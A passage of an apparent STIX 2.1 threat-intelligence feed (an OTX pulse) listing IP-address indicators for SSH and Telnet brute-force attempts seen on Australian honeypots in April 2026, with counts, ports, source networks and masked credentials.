      "pattern": "[ipv4-addr:value = '103.171.69.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T00:15:10.000Z",
      "valid_until": "2026-05-31T00:15:09.000Z"
    },
    {
      "created": "2026-04-29T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): g****b. Passwords observed (masked): g*******3.",
      "id": "indicator--8e82da35-cf62-40e4-b5fc-80e8cf23d49e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T00:15:10.000Z",
      "valid_until": "2026-05-31T00:15:09.000Z"
    },
    {
      "created": "2026-04-29T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): i**o. Passwords observed (masked): a******3.",
      "id": "indicator--6bbb0d39-e437-401a-9efd-2e71007ef1c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T00:15:10.000Z",
      "valid_until": "2026-05-31T00:15:09.000Z"
    },
    {
      "created": "2026-04-29T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): m******r. Passwords observed (masked): m******r.",
      "id": "indicator--7ba47e34-921c-4c52-92fd-f1c4fc709ab4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T00:15:10.000Z",
      "valid_until": "2026-05-31T00:15:09.000Z"
    },
    {
      "created": "2026-04-29T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--67f4226b-02d2-4490-8663-2e68948d4c3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '150.107.38.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T00:15:10.000Z",
      "valid_until": "2026-05-31T00:15:09.000Z"
    },
    {
      "created": "2026-04-29T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 320. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ. Usernames observed (masked): u****u, r**t, 3**********4, a***n, g***t. Passwords observed (masked): 3***********4, 3**********4, ***, 1****3, 1******r.",
      "id": "indicator--194c3594-7a75-4682-813a-8e0238dd95e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.32.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T00:15:10.000Z",
      "valid_until": "2026-05-31T00:15:09.000Z"
    },
    {
      "created": "2026-04-29T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): u****u, a***n, ***, t*****w, 3**********4. Passwords observed (masked): 1****6, p******d, 0******0, *, 1*******9.",
      "id": "indicator--b28403d3-1d3f-43cd-a1f6-c763c559c1de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.98.62.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T00:15:10.000Z",
      "valid_until": "2026-05-31T00:15:09.000Z"
    },
    {
      "created": "2026-04-29T01:16:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--9f80e4a9-7243-455b-bae2-cb210c98ff4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T01:16:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.37.35.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T01:16:24.000Z",
      "valid_until": "2026-05-31T01:15:09.000Z"
    },
    {
      "created": "2026-04-29T01:16:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--5a2ad778-0541-48ec-bcc2-3a71269bef72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T01:16:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '52.206.189.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T01:16:24.000Z",
      "valid_until": "2026-05-31T01:15:09.000Z"
    },
    {
      "created": "2026-04-29T01:16:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--c76d63f9-18f5-4ddb-841d-5561b2e06bc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T01:16:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.113.108.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T01:16:24.000Z",
      "valid_until": "2026-05-31T01:15:09.000Z"
    },
    {
      "created": "2026-04-29T02:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 138112. Organisation(s): PT. Megarap Mitra Solusi.",
      "id": "indicator--56975c63-36d6-48b0-a5d9-11894ef5484a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T02:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.126.174.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T02:15:06.000Z",
      "valid_until": "2026-05-31T02:15:04.000Z"
    },
    {
      "created": "2026-04-29T02:15:06.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--a0c9ed19-bc7d-4147-b287-4393c36f407f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T02:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.244.128.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T02:15:06.000Z",
      "valid_until": "2026-05-31T02:15:04.000Z"
    },
    {
      "created": "2026-04-29T02:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 233. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi. Usernames observed (masked): u****u, r**t, a***n, h****p, 3**********4. Passwords observed (masked): ***, 1**4, 1****6, 1*******9, 1******d.",
      "id": "indicator--2f550c5b-b3e5-4fa1-99c6-3c64fede5d63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T02:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.153.57.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T02:15:06.000Z",
      "valid_until": "2026-05-31T02:15:04.000Z"
    },
    {
      "created": "2026-04-29T02:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--833c2cfb-d125-4cc0-b939-49c78df478bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T02:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T02:15:06.000Z",
      "valid_until": "2026-05-31T02:15:04.000Z"
    },
    {
      "created": "2026-04-29T02:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--fde0491b-6efe-4458-b90e-d9d06e23e4f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T02:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T02:15:06.000Z",
      "valid_until": "2026-05-31T02:15:04.000Z"
    },
    {
      "created": "2026-04-29T02:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9c936ead-5f5b-4243-8e59-43b128148cba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T02:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T02:15:06.000Z",
      "valid_until": "2026-05-31T02:15:04.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--f4daf5e9-4ad9-4b61-935f-6b8fd0b077eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.24.16.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 522. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, ***, s*****t, u**t. Passwords observed (masked): 1**4, 1****6, 0**************D, 1***5, P******d.",
      "id": "indicator--e5aa6a8f-0e2b-4add-93c5-7e9c78f250a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.110.0.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 529. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, t**t, u**r, m*****r. Passwords observed (masked): a***n, p******d, 1****6, a******3, 1**1.",
      "id": "indicator--9d713dd3-f965-42a1-9712-c5cfdf20f6f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.110.14.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--cc3c6f29-f251-410f-90fa-c8901e478731",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.178.130.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd.. Usernames observed (masked): a***n, u**r, f*****r, 3**********4, a*******r. Passwords observed (masked): 1****6, 1******8, 1****6, 1*******9, 3***********4.",
      "id": "indicator--2b1c0833-f598-4f41-a1aa-c0be48985eca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.246.15.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--5763bbba-f3b2-453d-aab3-5e3b190c8fcb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.119.231.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--ee0e0580-2fcf-4b55-bdaf-721ccfeda3cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.235.248.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 437. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, d******r, u****u, u**r, a**x. Passwords observed (masked): 1****6, p******d, ***, 1**4, 0********1.",
      "id": "indicator--cbf6bd74-bee5-49f1-a605-d02697ba0d19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 245. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): u****u, r**t, ***, o****e, t*******n. Passwords observed (masked): a***n, 1**0, 1****1, 1****3, 1****3.",
      "id": "indicator--5d707458-a8e9-4a30-9d06-770df9a2b8c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '210.183.21.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a0334b7e-2026-4745-b005-98d28a6dd794",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.154.92.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ae44dfc7-769c-4e20-8ff7-c2ac9a643bfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.199.188.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--84f89173-d8aa-47ab-83f9-ae0a88ffbe78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.10.17.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): A**********, G************1. Passwords observed (masked): , H**********************3.",
      "id": "indicator--92e98361-0e01-42b9-8ed6-c18271566f0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.248.109.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--b5699fd1-55f2-4921-8e98-f107d81356b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.233.95.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bc1951f8-0083-4fb7-b4a5-4b75a7399e2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.173.111.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--35466c43-5ed7-4c06-861b-8ba998dcad78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:15:10.000Z",
      "valid_until": "2026-05-31T04:15:09.000Z"
    },
    {
      "created": "2026-04-29T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--94b91253-23d2-48bd-a05f-f9651e2cc163",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T05:15:11.000Z",
      "valid_until": "2026-05-31T05:15:03.000Z"
    },
    {
      "created": "2026-04-29T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--fd6d3eac-e257-4ae3-9eb4-3b38f3e73dbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T05:15:11.000Z",
      "valid_until": "2026-05-31T05:15:03.000Z"
    },
    {
      "created": "2026-04-29T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 502. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): *, ***, 1**1, 1****1, ***.",
      "id": "indicator--6793d3dc-1bdd-4e7b-9137-c82ddc057c2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.183.91.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T05:15:11.000Z",
      "valid_until": "2026-05-31T05:15:03.000Z"
    },
    {
      "created": "2026-04-29T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--46540cbe-22ed-4db8-99a2-ae7b3657c84a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T05:15:11.000Z",
